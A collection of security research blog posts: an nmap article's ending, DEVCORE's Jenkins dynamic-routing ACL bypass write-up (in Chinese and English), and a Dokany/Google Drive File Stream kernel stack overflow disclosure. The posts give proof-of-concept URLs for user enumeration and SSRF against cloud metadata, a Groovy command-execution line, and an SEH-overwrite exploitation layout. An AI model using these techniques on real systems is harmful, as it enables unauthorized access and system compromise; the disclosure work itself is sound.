As you can see, nmap scripts will send several HTTP requests useful to find more information about the application running on the web server. For example, it will send a request to find if “.git” directory is present, which can contain source code, it sends a request to get “robots.txt” file which might lead to additional paths and one script even sends a POST request to find if there is a RPC (Remote Procedure Call) aware service running:

POST / HTTP/1.1
Connection: close
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Host: rstforums.com

<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

Conclusion

Nmap is most often seen as a “port scanner”. However, in the right hands, in the hands of someone that properly understands how it works, it turns into a powerful penetration testing tool.

This article highlights some of the most common and useful features of nmap, but for a comprehensive understanding of the tool it is required to read the manual and actually use it.

Hacking Jenkins Part 1 - Play with Dynamic Routing

15 January 2019 at 16:00

English Version 中文版本

在軟體工程中, Continuous IntegrationContinuous Delivery 一直都被譽為是軟體開發上的必備流程, 有多少優點就不多談, 光是幫助開發者減少許多雜事就是很大的優勢了! 而在 CI/CD 的領域中, Jenkins 是最為老牌且廣為人知的一套工具, 由於它的易用性, 強大的 Pipeline 系統以及對於容器完美的整合使得 Jenkins 也成為目前最多人使用的 CI/CD 應用, 根據 Snyk 在 2018 年所做出的 JVM 生態報告 中, Jenkins 在 CI/CD 應用中約佔六成的市佔率!

對於 紅隊演練(Red Team) 來說, Jenkins 更是兵家必爭之地, 只要能掌握企業暴露在外的 Jenkins 即可掌握大量的原始碼, 登入憑證甚至控制大量的 Jenkins 節點! 在過去 DEVCORE 所經手過的滲透案子中也出現過數次由 Jenkins 當成進入點, 一步一步從一個小裂縫將目標撕開到完整滲透整間公司的經典案例!

這篇文章主要是分享去年中針對 Jenkins 所做的一次簡單 Security Review, 過程中共發現了五個 CVE:

其中比較被大家所討論的應該是 CVE-2018-1999002, 這是一個在 Windows 下的任意檔案讀取, 由於攻擊方式稍微有趣所以討論聲量較高一點, 這個弱點在外邊也有人做了詳細的分析, 詳情可以參考由騰訊雲鼎實驗室所做的分析(Jenkins 任意文件读取漏洞分析), 他們也成功的展示從 Shodan 找到一台未修補的 Jenkins 實現任意讀檔到遠端代碼執行取得權限的過程!

但這篇文章要提的並不是這個, 而是當時為了嘗試繞過 CVE-2018-1999002 所需的最小權限 Overall/Read 時跟進 Jenkins 所使用的核心框架 Stapler 挖掘所發現的另外一個問題 - CVE-2018-1000861! 如果光從官方的漏洞敘述應該會覺得很神奇, 真的可以光從隨便一個網址去達成代碼執行嗎?

針對這個漏洞, 我的觀點是它就是一個存取控制清單(ACL)上的繞過, 但由於這是 Jenkins 架構上的問題並不是單一的程式編寫失誤, 進而導致了這個漏洞利用上的多樣性! 而為了這個技術債, Jenkins 官方也花費了一番心力(Jenkins PatchStapler Patch)去修復這個漏洞, 不但在原有的架構上介紹了新的路由黑名單及白名單, 也擴展了原有架構的 Service Provider Interface (SPI) 去保護 Jenkins 路由, 下面就來解釋為何 Jenkins 要花了那麼多心力去修復這個漏洞!


代碼審查範圍


首先要聲明的是, 這並不是一次完整的代碼審查(畢竟要做一次太花時間了…), 因此只針對高風險漏洞進行挖掘, 著眼的範圍包括:

  • Jenkins 核心
  • Stapler 網頁框架
  • 建議安裝插件

Jenkins 在安裝過程中會詢問是否安裝建議的套件(像是 Git, GitHub, SVN 與 Pipeline… 等等), 基本上大多數人都會同意不然就只會得到一個半殘的 Jenkins 很不方便XD


Jenkins 中的權限機制


因為這是一個基於 ACL 上的繞過, 所以在解釋漏洞之前, 先來介紹一下 Jenkins 中的權限機制! 在 Jenkins 中有數種不同的角色權限, 甚至有專門的 Matrix Authorization Strategy Plugin (同為建議安裝套件)可針對各專案進行細部的權限設定, 從攻擊者的角度我們粗略分成三種:

1. Full Access

對於 Jenkins 有完整的控制權, 可對 Jenkins 做任何事! 基本上有這個權限即可透過 Script Console 介面使用 Groovy 執行任意代碼!

print "uname -a".execute().text

這個權限對於駭客來說也是最渴望得到的權限, 但基本上由於安全意識的提升及網路上各種殭屍網路對全網進行掃描, 這種配置已經很少見(或只見於內網)

2. Read-only Mode

可從 Configure Global Security 介面中勾選下面選項來開啟這個模式

Allow anonymous read access

在這個模式下, 所有的內容皆是可讀的, 例如可看到工作日誌或是一些 job/node 等敏感資訊, 對於攻擊者來說在這個模式下最大的好處就是可以獲得大量的原始碼! 但與 Full Access 模式最大的差異則是無法進行更進一步的操作或是執行 Groovy 代碼以取得控制權!

雖然這不是 Jenkins 的預設設定, 但對於一些習慣自動化的 DevOps 來說還是有可能開啟這個選項, 根據實際在 Shodan 上的調查約 12% 的機器還是開啟這個選項! 以下使用 ANONYMOUS_READ=True 來代稱這個模式

3. Authenticated Mode

這是 Jenkins 預設安裝好的設定, 在沒有一組有效的帳號密碼狀況下無法看到任何資訊及進行任何操作! 以下使用 ANONYMOUS_READ=False 來代稱此模式


漏洞分析


整個漏洞要從 Jenkins 的 動態路由 講起, 為了給開發者更大的彈性, Jenkins(嚴格來講是 Stapler)使用了一套 Naming Convention 去匹配路由及動態的執行! 首先 Jenkins 以 / 為分隔將 URL 符號化, 接著由 jenkins.model.Jenkins 為入口點開始往下搜尋, 如果符號符合 (1) Public 屬性的成員或是 (2) Public 屬性的方法符合下列命名規則, 則調用並繼續往下呼叫:

  1. get<token>()
  2. get<token>(String)
  3. get<token>(Int)
  4. get<token>(Long)
  5. get<token>(StaplerRequest)
  6. getDynamic(String, …)
  7. doDynamic(…)
  8. do<token>(…)
  9. js<token>(…)
  10. Class method with @WebMethod annotation
  11. Class method with @JavaScriptMethod annotation

看起來 Jenkins 給予開發者很大程度的自由去訪問各個物件, 但過於自由總是不好的,根據這種調用方式這裡就出現了兩個問題!

1. 萬物皆繼承 java.lang.Object

在 Java 中, 所有的物件皆繼承 java.lang.Object 這個類別, 因此所有在 Java 中的物件皆存在著 getClass() 這個方法! 而恰巧這個方法又符合命名規則 #1, 因此 getClass() 可在 Jenkins 調用鏈中被動態呼叫!

2. 跨物件操作導致白名單繞過

前面所提到的 ANONYMOUS_READ, 其中 TrueFalse 間最大的不同在於當在禁止的狀況下, 最初的入口點會透過 jenkins.model.Jenkins#getTarget() 多做一個基於白名單的 URL 前綴檢查, 這個白名單如下:

private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
    "/login",
    "/logout",
    "/accessDenied",
    "/adjuncts/",
    "/error",
    "/oops",
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
);

這也代表著一開始可選的入口限制更嚴格選擇更少, 但如果能在一個白名單上的入口找到其他物件參考, 跳到非白名單上的成員豈不可以繞過前述的 URL 前綴限制? 可能有點難理解, 這裡先來一個簡單的範例來解釋 Jenkins 的動態路由機制:

http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content

以上網址會依序執行下列方法

jenkins.model.Jenkins.getAdjuncts("whatever") 
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()

上面的執行鏈一個串一個雖然看起來很流暢, 但難過的是無法取得回傳內容, 因此嚴格來說不能算是一個風險, 但這個例子對於理解整個漏洞核心卻有很大的幫助!

在了解原理後, 剩下的事就像是在解一個迷宮, 從 jenkins.model.Jenkins 這個入口點開始, 物件中的每個成員又可以參考到一個新的物件, 接著要做的就是想辦法把中間錯綜複雜各種物件與物件間的關聯找出來, 一層一層的串下去直到迷宮出口 - 也就是危險的函數呼叫!

值得一提的是, 這個漏洞最可惜的地方應該是無法針對 SETTER 進行操作, 不然的話應該就又是另外一個有趣的 Struts2 RCE 或是 Spring Framework RCE 了!


如何利用


所以該如何利用這個漏洞呢? 簡單說, 這個漏洞所能做到的事情就只是透過物件間的參考去繞過 ACL 政策, 但在此之前我們必須先找到一個好的跳板好讓我們可以更方便的在物件中跳來跳去, 這裡我們選用了下面這個跳板:

/securityRealm/user/[username]/descriptorByName/[descriptor_name]/

這個跳板會依序執行下面方法

jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])

在 Jenkins 中可以被操作的物件都會繼承一個 hudson.model.Descriptor 類別, 而繼承這個類別的物件都可以透過 hudson.model.DescriptorByNameOwner#getDescriptorByName(String) 去存取, 所以總體來說, 可透過這個跳板取得在 Jenkins 中約 500 個 Despicable 的物件類別!

不過雖是如此, 由於 Jenkins 的設計模式, 大部分開發者在危險動作之前都會再做一次權限檢查, 所以即使可呼叫到 Script Console 但在沒有 Jenkins.RUN_SCRIPTS 權限的情況下也無法做任何事 :(

但這個漏洞依然不失成為一個很好的膠水去繞過第一層的 ACL 限制串起其他的漏洞, 為後續的利用開啟了一道窗! 以下我們給出三個串出漏洞鏈的例子! (雖然只介紹三種, 但由於這個漏洞玩法非常自由可串的絕不只如此, 推薦有興趣的同學可在尋找更多的漏洞鏈!)

P.S. 值得注意的一點是, 在 getUser([username]) 的實現中會呼叫到 getOrCreateById(...) 並且傳入 create=True 導致在記憶體中創造出一個暫存使用者(會出現在使用者列表但無法進行登入操作), 雖然無用不過也被當成一個漏洞記錄在 SECURITY-1128


1. 免登入的使用者資訊洩漏

在測試 Jenkins 時, 最怕的就是要進行字典檔攻擊時卻不知道該攻擊哪個帳號, 畢竟帳號永遠比密碼難猜! 這時這個漏洞就很好用了XD

由於 Jenkins 對搜尋的功能並沒有加上適當的權限檢查, 因此在 ANONYMOUS_READ=False 的狀況下可以透過修改 keyword 參數從 a 到 z 去列舉出所有使用者!

PoC:

http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]

除此之外也可搭配由 Ananthapadmanabhan S R 所回報的 SECURITY-514 進一步取得使用者信箱, 如:

http://jenkins.local/securityRealm/user/admin/api/xml


2. 與 CVE-2018-1000600 搭配成免登入且有完整回顯的 SSRF

下一個要串的漏洞則是 CVE-2018-1000600, 這是一個由 Orange Tsai(對就是我XD) 所回報的漏洞, 關於這個漏洞官方的描述是:

CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials

在已知 Credentials ID 的情形下可以洩漏任意 Jenkins 儲存的帳密, 但 Credentials ID 在沒指定的情況下會是一組隨機的 UUID 所以造成要利用這個漏洞似乎變得不太可能 (如果有人知道怎麼取得 Credentials ID 請告訴我!)

雖然在不知道 Credentials ID 的情況下無法洩漏任何帳密, 但這個漏洞其實不只這樣, 還有另一個玩法! 關於這個漏洞最大的危害其實不是 CSRF, 而是 SSRF!

不僅如此, 這個 SSRF 還是一個有回顯的 SSRF! 沒有回顯的 SSRF 要利用起來有多困難我想大家都知道 :P 因此一個有回顯的 SSRF 也就顯得何其珍貴!

PoC:

http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai


3. 未認證的遠端代碼執行

所以廢話少說, RCE 在哪?

為了最大程度的去利用這個漏洞, 我也挖了一個非常有趣的 RCE 可以與這個漏洞搭配使用成為一個真正意義上不用認證的 RCE! 但由於這個漏洞目前還在 Responsible Disclosure 的時程內, 就請先期待 Hacking Jenkins Part 2 囉! (預計二月中釋出!)


TODO


這裡是一些我想繼續研究的方向, 可以讓這個漏洞變得更完美! 如果你發現了下面任何一個的解法請務必告訴我, 我會很感激的XD

  • ANONYMOUS_READ=False 的權限下拿到 Plugin 的物件參考, 如果拿到的可以繞過 CVE-2018-1999002CVE-2018-6356 所需的最小權限限制, 成為一個真正意義上的免登入任意讀檔!
  • ANONYMOUS_READ=False 的權限下找出另一組跳板去呼叫 getDescriptorByName(String). 為了修復 SECURITY-672, Jenkins 從 2.138 開始對 hudson.model.User 增加判斷 Jenkins.READ檢查, 導致原有的跳板失效!


致謝


最後, 感謝 Jenkins Security 團隊尤其是 Daniel Beck 的溝通協調與漏洞修復! 這裡是一個簡單的回報時間軸:

  • May 30, 2018 - 回報漏洞給 Jenkins
  • Jun 15, 2018 - Jenkins 修補並分配 CVE-2018-1000600
  • Jul 18, 2018 - Jenkins 修補並分配 CVE-2018-1999002
  • Aug 15, 2018 - Jenkins 修復並分配 CVE-2018-1999046
  • Dec 05, 2018 - Jenkins 修補並分配 CVE-2018-1000861
  • Dec 20, 2018 - 回報 Groovy 漏洞給 Jenkins
  • Jan 08, 2019 - Jenkins 修復 Groovy 漏洞並分配 CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002

Hacking Jenkins Part 1 - Play with Dynamic Routing (EN)

15 January 2019 at 16:00

English Version 中文版本

In software engineering, the Continuous Integration and Continuous Delivery is a best practice for developers to reduce routine works. In the CI/CD, the most well-known tool is Jenkins. Due to its ease of use, awesome Pipeline system and integration of Container, Jenkins is also the most widely used CI/CD application in the world. According to the JVM Ecosystem Report by Snyk in 2018, Jenkins held about 60% market share on the survey of CI/CD server.

For Red Teamers, Jenkins is also the battlefield that every hacker would like to control. If someone takes control of the Jenkins server, he can gain amounts of source code and credential, or even control the Jenkins node! In our DEVCORE Red Team cases, there are also several cases that the whole corporation is compromised from simply a Jenkins server as our entry point!

This article is mainly about a brief security review on Jenkins in the last year. During this review, we found 5 vulnerabilities including:

Among them, the more discussed one is the vulnerability CVE-2018-1999002. This is an arbitrary file read vulnerability through an unusual attack vector! Tencent YunDing security lab has written a detailed advisory about that, and also demonstrated how to exploit this vulnerability from arbitrary file reading to RCE on a real Jenkins site which found from Shodan!

However, we are not going to discuss that in this article. Instead, this post is about another vulnerability found while digging into Stapler framework in order to find a way to bypass the least privilege requirement ANONYMOUS_READ=True of CVE-2018-1999002! If you merely take a look at the advisory description, you may be curious – Is it reality to gain code execution with just a crafted URL?

From my own perspective, this vulnerability is just an Access Control List(ACL) bypass, but because this is a problem of the architecture rather than a single program, there are various ways to exploit this bug! In order to pay off the design debt, Jenkins team also takes lots of efforts (patches in Jenkins side and Stapler side) to fix that. The patch not only introduces a new routing blacklist and whitelist but also extends the original Service Provider Interface (SPI) to protect Jenkins’ routing. Now let’s figure out why Jenkins need to make such a huge code modification!


Review Scope


This is not a complete code review (An overall security review takes lots of time…), so this review just aims at high impact bugs. The review scope includes:

  • Jenkins Core
  • Stapler Web Framework
  • Suggested Plugins

During the installation, Jenkins asks whether you want to install suggested plugins such as Git, GitHub, SVN and Pipeline. Basically, most people choose yes, or they will get an inconvenient and hard-to-use Jenkins.


Privilege Levels


Because the vulnerability is an ACL bypass, we need to introduce the privilege level in Jenkins first! In Jenkins, there are different kinds of ACL roles, Jenkins even has a specialized plugin Matrix Authorization Strategy Plugin(also in the suggested plugin list) to configure the detailed permission per project. From an attacker’s view, we roughly classify the ACL into 3 types:

1. Full Access

You can fully control Jenkins. Once the attacker gets this permission, he can execute arbitrary Groovy code via Script Console!

print "uname -a".execute().text

This is the most hacker-friendly scenario, but it’s hard to see this configuration publicly now due to the increase of security awareness and lots of bots scanning all the IPv4.

2. Read-only Mode

This can be enabled from the Configure Global Security and check the radio box:

Allow anonymous read access

Under this mode, all contents are visible and readable. Such as agent logs and job/node information. For attackers, the best benefit of this mode is the accessibility of a bunch of private source codes! However, the attacker cannot do anything further or execute Groovy scripts!

Although this is not the default setting, for DevOps, they may still open this option for automations. According to a little survey on Shodan, there are about 12% servers enabled this mode! We will call this mode ANONYMOUS_READ=True in the following sections.

3. Authenticated Mode

This is the default mode. Without a valid credential, you can’t see any information! We will use ANONYMOUS_READ=False to call this mode in following sections.


Vulnerability Analysis

To explain this vulnerability, we will start with Jenkins’ Dynamic Routing. In order to provide developers more flexibilities, Jenkins uses a naming convention to resolve the URL and invoke the method dynamically. Jenkins first tokenizes all the URL by /, and begins from jenkins.model.Jenkins as the entry point to match the token one by one. If the token matches (1)public class member or (2)public class method correspond to following naming conventions, Jenkins invokes recursively!

  1. get<token>()
  2. get<token>(String)
  3. get<token>(Int)
  4. get<token>(Long)
  5. get<token>(StaplerRequest)
  6. getDynamic(String, …)
  7. doDynamic(…)
  8. do<token>(…)
  9. js<token>(…)
  10. Class method with @WebMethod annotation
  11. Class method with @JavaScriptMethod annotation

It looks like Jenkins provides developers a lot of flexibility. However, too much freedom is not always a good thing. There are two problems based on this naming convention!

1. Everything is the Subclass of java.lang.Object

In Java, everything is a subclass of java.lang.Object. Therefore, all objects must exist the method - getClass(), and the name of getClass() just matches the naming convention rule #1! So the method getClass() can be also invoked during Jenkins dynamic routing!

2. Whitelist Bypass

As mentioned before, the biggest difference between ANONYMOUS_READ=True and ANONYMOUS_READ=False is, if the flag set to False, the entry point will do one more check in jenkins.model.Jenkins#getTarget(). The check is a white-list based URL prefix check and here is the list:

private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
    "/login",
    "/logout",
    "/accessDenied",
    "/adjuncts/",
    "/error",
    "/oops",
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
);

That means you are restricted to those entrances, but if you can find a cross reference from the white-list entrance jump to other objects, you can still bypass this URL prefix check! It seems a little bit hard to understand. Let’s give a simple example to demonstrate the dynamic routing:

http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content

The above URL will invoke following methods in sequence!

jenkins.model.Jenkins.getAdjuncts("whatever") 
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()

This execution chain seems smooth, but sadly, it can not retrieve the result. Therefore, this is not a potential risk, but it’s still a good case to understand the mechanism!

Once we realize the principle, the remaining part is like solving a maze. jenkins.model.Jenkins is the entry point. Every member in this object can references to a new object, so our work is to chain the object layer by layer till the exit door, that is, the dangerous method invocation!

By the way, the saddest thing is that this vulnerability cannot invoke the SETTER, otherwise this would definitely be another interesting classLoader manipulation bug just like Struts2 RCE and Spring Framework RCE!!


How to Exploit?


How to exploit? In brief, the whole thing this bug can achieve is to use cross reference objects to bypass ACL policy. To leverage it, we need to find a proper gadget so that we can invoke the object we prefer in this object-forest more conveniently! Here we choose the gadget:

/securityRealm/user/[username]/descriptorByName/[descriptor_name]/

The gadget will invoke following methods sequencely.

jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])

In Jenkins, all configurable objects will extend the type hudson.model.Descriptor. And, any class who extends the Descriptor type is accessible by method hudson.model.DescriptorByNameOwner#getDescriptorByName(String). In general, there are totally about 500 class types can be accessed! But due to the architecture of Jenkins. Most developers will check the permission before the dangerous action again. So even we can find a object reference to the Script Console, without the permission Jenkins.RUN_SCRIPTS, we still can’t do anything :(

Even so, this vulnerability can still be considered as a stepping stone to bypass the first ACL restriction and to chain other bugs. We will show 3 vulnerability-chains as our case study! (Although we just show 3 cases, there are more than 3! If you are intersted, it’s highly recommended to find others by yourself :P )

P.S. It should be noted that in the method getUser([username]), it will invoke getOrCreateById(...) with create flag set to True. This result to the creation of a temporary user in memory(which will be listed in the user list but can’t sign in). Although it’s harmless, it is still recognized as a security issue in SECURITY-1128.


1. Pre-auth User Information Leakage

While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt).

In this situation, this vulnerability is useful! Due to the lack of permission check on search functionality. By modifying the keyword from a to z, an attacker can list all users on Jenkins!

PoC:

http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]

Also, this vulnerability can be also chained with SECURITY-514 which reported by Ananthapadmanabhan S R to leak user’s email address! Such as:

http://jenkins.local/securityRealm/user/admin/api/xml


2. Chained with CVE-2018-1000600 to a Pre-auth Fully-responded SSRF

The next bug is CVE-2018-1000600, this bug is reported by Orange Tsai(Yes, it’s me :P). About this vulnerability, the official description is:

CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials

It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)

Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!

PoC:

http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai


3. Pre-auth Remote Code Execution

PLEASE DON’T BULLSHIT, WHERE IS THE RCE!!!

In order to maximize the impact, I also find an INTERESTING remote code execution can be chained with this vulnerability to a well-deserved pre-auth RCE! But it’s still on the responsible disclosure process. Please wait and see the Part 2! (Will be published on February 19th :P)


TODO


Here is my todo list which can make this vulnerability more perfect. If you find any of them please tell me, really appreciate it :P

  • Get the Plugin object reference under ANONYMOUS_READ=False. If this can be done, it can bypass the ACL restriction of CVE-2018-1999002 and CVE-2018-6356 to a indeed pre-auth arbitrary file reading!
  • Find another gadget to invoke the method getDescriptorByName(String) under ANONYMOUS_READ=False. In order to fix SECURITY-672, Jenkins applies a check on hudson.model.User to ensure the least privilege Jenkins.READ. So the original gadget will fail after Jenkins version 2.138.


Acknowledgement


Thanks Jenkins Security team especially Daniel Beck for the coordination and bug fixing! Here is the brief timeline:

  • May 30, 2018 - Report vulnerabilities to Jenkins
  • Jun 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1000600
  • Jul 18, 2018 - Jenkins patched the bug and assigned CVE-2018-1999002
  • Aug 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1999046
  • Dec 05, 2018 - Jenkins patched the bug and assigned CVE-2018-1000861
  • Dec 20, 2018 - Report Groovy vulnerability to Jenkins
  • Jan 08, 2019 - Jenkins patched Groovy vulnerability and assigned CVE-2019-1003000, CVE-2019-1003001 and CVE-2019-1003002

Dokany/Google Drive File Stream Kernel Stack-based Buffer Overflow Vulnerability

By: Parvez
14 January 2019 at 17:07

Last November I reported a kernel vulnerability to CERT/CC for their help in coordinating the disclosure as it impacted dozens of vendors including Google Drive File Stream (GDFS).

The vulnerability was a stack-based buffer overflow in Dokany’s kernel mode file system driver and has been assigned cve id of CVE-2018-5410. With Dokany you can create your own virtual file system without writing device drivers. The code is open source and is being used in dozens of projects listed here. A handful of products were tested and are all shipped with Dokany’s compiled package with the exception of GDFS where parts of the code have been changed and signed by Google.

Triggering the bug
Connecting to the device handle “dokan_1” and sending inputted buffer of more than 776 bytes to IOCTL 0x00222010 is enough to corrupt the stack cookie and BSOD the box.

kd> !analyze -v
***************************************************************************
*                                                                         *
*                        Bugcheck Analysis                                *
*                                                                         *
***************************************************************************
DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned.  This is the classic "buffer overrun"
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
variable(s).
Arguments:
Arg1: c0693bbe, Actual security check cookie from the stack
Arg2: 1c10640d, Expected security check cookie
Arg3: e3ef9bf2, Complement of the expected security check cookie
Arg4: 00000000, zero

Debugging Details:
------------------
DEFAULT_BUCKET_ID:  GS_FALSE_POSITIVE_MISSING_GSFRAME
SECURITY_COOKIE:  Expected 1c10640d found c0693bbe
.
.
.

Checking the source code to pinpoint vulnerable code was found to be in notification.c where RtlCopyMemory function’s szMountPoint->Length parameter is not validated

RtlCopyMemory(&dokanControl.MountPoint[12], szMountPoint->Buffer, szMountPoint->Length);

The vulnerable code was introduced from the major version update 1.0.0.5000 which was released on the 20th September 2016.

TimeLine
Below is the timeline where we can see the maintainers of Dokany were very efficient in fixing this bug.

30th November 2018 – Submitted on CERT/CC online form
03rd December 2018 – Received acknowledgement of submission
08th December 2018 – Updated Dokan code committed [link]
18th December 2018 – Dokan change log [1.2.1.1000] [link]
20th December 2018 – Compiled version released [link]
20th December 2018 – CERT/CC publish Vulnerability Note VU#741315 [link]

So what happened to Google?
Well it would seem Google have kept quiet about this bug and silently fixed it without any publication. The only url I found on GDFS release notes is here where the last update was on the 17th October 2018 on version 28.1. It was just out of curiosity I had downloaded GDFS on the 28th of December only to discover the vulnerability had already been patched. The patched versions are:

Software : GoogleDriveFSSetup.exe
Version  : 29.1.34.1821
Signed   : 17th December 2018

Driver   : googledrivefs2622.sys
Version  : 2.622.2225.0
Signed   : 14th December 2018

The last vulnerable version I tested was:

Software : GoogleDriveFSSetup.exe
Version  : 28.1.48.2039
Signed   : 13th November 2018

Driver   : googledrivefs2544.sys
Version  : 2.544.1532.0
Signed   : 27th September 2018

CERT/CC vulnerability notes is still flagged as being affected

GDFS driver filename, version and handle change in each update. Here is a list of some previous vulnerable versions.

Driver filename Driver version Device handle
googledrivefs2285.sys 2.285.2219.0 googledrivefs_2285
googledrivefs2454.sys 2.454.2037.0 googledrivefs_2454
googledrivefs2534.sys 2.534.1534.0 googledrivefs_2534
googledrivefs2544.sys 2.544.1532.0 googledrivefs_2544

Exploiting the bug
Since the vulnerability is a stack-based buffer overflow compiled with Stack Cookie protection (/GS) which is validated before our function is returned controlling the flow of execution using the return address is not possible. To bypass cookie validation we need to overwrite an exception handler in the stack and then trigger an exception in the kernel there by calling our overwritten exception handler. This technique however only applies to 32-bit systems as when code is compiled for 64-bit the exception handlers are no longer stored on the stack so from “frame based” has become “table-based”. For 64-bit the exception handlers are stored in the PE image where there is an exception directory contains a variable number of RUNTIME_FUNCTION structures. An article posted on OSRline explains it well. Below shows the exception directory in 64-bit compiled driver

In order to exploit on 32-bit OS after the exception handler has been overwritten with our address pointing to our shellcode we need to trigger an exception. Usually reading beyond our inputted buffer would do it as it be unallocated memory after setting up our buffer using apis such as CreateFileMapping() and MapViewOfFile(). Unfortunately this is not possible as the IOCTL used 0x00222010 is using “Buffered I/O” transfer method where the data is allocated into the system buffer so when our inputted data is read its read from the system buffer thus there so no unallocated memory after our buffer.

For Dokany driver there is still a way to exploit as after the overflow and before cookie validation it calls another subroutine which ends up calling api IoGetRequestorSessionId(). One of the parameters it reads from the stack is the IRP address which we happen to control. All we need to do is make sure our IRP address points to an area of unallocated memory.

As for GDFS Google have made some changes to its code so the api IoGetRequestorSessionId() is not called and I couldn’t find any other way to produce an exception so just ends up producing BSOD. The last thing to mention is that the vulnerable subroutine is not wrapped in a __try/__except block but a parent subroutine is and thats the exception handler being overwritten further down the stack. A minimum inputted buffer size of 896 bytes is need in order to overwrite the exception handler.

2   bytes   – Size used by memcpy
2   bytes   – Size used to check input buffer
772 bytes   – Actual data buffer
4   bytes   – Cookie
4   bytes   – EBP
4   bytes   – RET
4   bytes   – Other data
4   bytes   – IRP
96  bytes   – Other data
4   bytes   – Exception handler

Stack layout before and after our overflow

a1caf9f4  00000000
a1caf9f8  fcef3710 <-- cookie
a1caf9fc  a1cafa1c
a1cafa00  902a2b80 dokan1+0x5b80  <-- return
a1cafa04  861f98b0
a1cafa08  871ef510 <-- IRP
a1cafa0c  861f9968
a1cafa10  871ef580
a1cafa14  00000010
a1cafa18  c0000002
a1cafa1c  a1cafa78
a1cafa20  902a2668 dokan1+0x5668
a1cafa24  861f98b0
a1cafa28  871ef510
a1cafa2c  fcef3494
a1cafa30  86cd4738
a1cafa34  861f98b0
a1cafa38  00000000
a1cafa3c  00000000
a1cafa40  00000000
a1cafa44  00000000
a1cafa48  00000000
a1cafa4c  871ef580
a1cafa50  861f9968
a1cafa54  00222010
a1cafa58  c0000002
a1cafa5c  861f9968
a1cafa60  861f98b0
a1cafa64  a1cafa7c
a1cafa68  a1cafacc
a1cafa6c  902b2610 dokan1+0x15610  <-- Exception handler


kd> dps a1caf9f4
a1caf9f4  41414141
a1caf9f8  42424242 <-- cookie
a1caf9fc  41414141
a1cafa00  43434343 <-- return
a1cafa04  41414141
a1cafa08  44444444 <-- IRP
a1cafa0c  41414141
a1cafa10  41414141
a1cafa14  41414141
a1cafa18  41414141
a1cafa1c  41414141
a1cafa20  41414141
a1cafa24  41414141
a1cafa28  41414141
a1cafa2c  41414141
a1cafa30  41414141
a1cafa34  41414141
a1cafa38  41414141
a1cafa3c  41414141
a1cafa40  41414141
a1cafa44  41414141
a1cafa48  41414141
a1cafa4c  41414141
a1cafa50  41414141
a1cafa54  41414141
a1cafa58  41414141
a1cafa5c  41414141
a1cafa60  41414141
a1cafa64  41414141
a1cafa68  41414141
a1cafa6c  000c0000 <-- Exception handler which now points to shellcode

To recover we return to the parent subroutine.

a1cafa70  00000000
a1cafa74  00000000
a1cafa78  a1cafa94
a1cafa7c  902a3d4a dokan1+0x6d4a
a1cafa80  861f98b0
a1cafa84  871ef510 
a1cafa88  0000000e
a1cafa8c  d346f492
a1cafa90  871ef580 <-- before ebp, recover here after shellcode execution
a1cafa94  a1cafadc
a1cafa98  902a3a8f dokan1+0x6a8f
a1cafa9c  861f98b0
a1cafaa0  871ef510
a1cafaa4  fcef3430
a1cafaa8  86cd4738
a1cafaac  861f98b0
a1cafab0  00000000
a1cafab4  871ef510
a1cafab8  00000001
a1cafabc  c0000001
a1cafac0  0101af00
a1cafac4  a1cafaa4
a1cafac8  871ef520
a1cafacc  a1cafbc0
a1cafad0  902b2610 dokan1+0x15610
a1cafad4  cd0e6854
a1cafad8  00000001
a1cafadc  a1cafaf4
a1cafae0  82a8c129 nt!IofCallDriver+0x63
a1cafae4  861f98b0
a1cafae8  871ef510
a1cafaec  871ef510
a1cafaf0  861f98b0

The exploit can be downloaded from here [zip] and the direct link to the vulnerable package used from Github [exe]. The zip file only contains exploit for Windows 7 32 bit OS along with code to trigger BSOD on earlier GDFS 32/64 bit versions.

